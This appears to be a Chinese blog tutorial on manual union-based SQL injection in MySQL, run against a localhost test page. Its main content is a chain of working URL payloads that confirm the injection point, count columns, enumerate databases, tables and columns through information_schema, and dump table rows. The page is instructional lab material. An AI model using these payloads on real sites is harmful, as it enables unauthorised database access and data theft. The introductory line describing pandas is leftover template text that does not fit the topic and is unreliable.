Mysql手工注入系列


前言

Mysql手工注入系列,使用联合查询进行手工注入。


一、Mysql数据库的介绍

示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的。

二、利用步骤

1.判断注入点

字符型注入

http://127.0.0.1/sql.php?id=1' and 1='1

在这里插入图片描述

http://127.0.0.1/sql.php?id=1' and 1='2

返回错误
在这里插入图片描述可以判断出注入点是存在的。

2.判断字段长度

http://127.0.0.1/sql.php?id=1' order by 3%23

在这里插入图片描述显示位的长度为3。

3.判断显示位

http://127.0.0.1/sql.php?id=1' and 1=2 union select 1,2,3%23

在这里插入图片描述

4.判断数据库版本

http://127.0.0.1/sql.php?id=1'  and 1=2 union select version(),2,3%23

在这里插入图片描述

5.爆出其他数据库

http://127.0.0.1/sql.php?id=1'  and 1=2 union select  schema_name,2,3 from information_schema.schemata limit 0,1%23

在这里插入图片描述通过limit遍历出所有数据库的名称,直到报错。
在这里插入图片描述

6.爆出对应数据库的表

http://127.0.0.1/sql.php?id=1'  and 1=2 union select  table_name,2,3 from information_schema.tables where  table_schema=0x787373706c6174666f726d  limit 2,3%23

在这里插入图片描述

7.爆出对应数据库,表的字段名称

http://127.0.0.1/sql.php?id=1'  and 1=2 union select  column_name,2,3 from information_schema.columns where  table_schema=0x787373706c6174666f726d and table_name=0x6f635f70726f6a656374 limit 2,3%23

在这里插入图片描述

8.脱库

http://127.0.0.1/sql.php?id=1'  and 1=2 union select  title,2,3 from xssplatform.oc_project limit 0,1%23

在这里插入图片描述


总结

熟能生巧。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值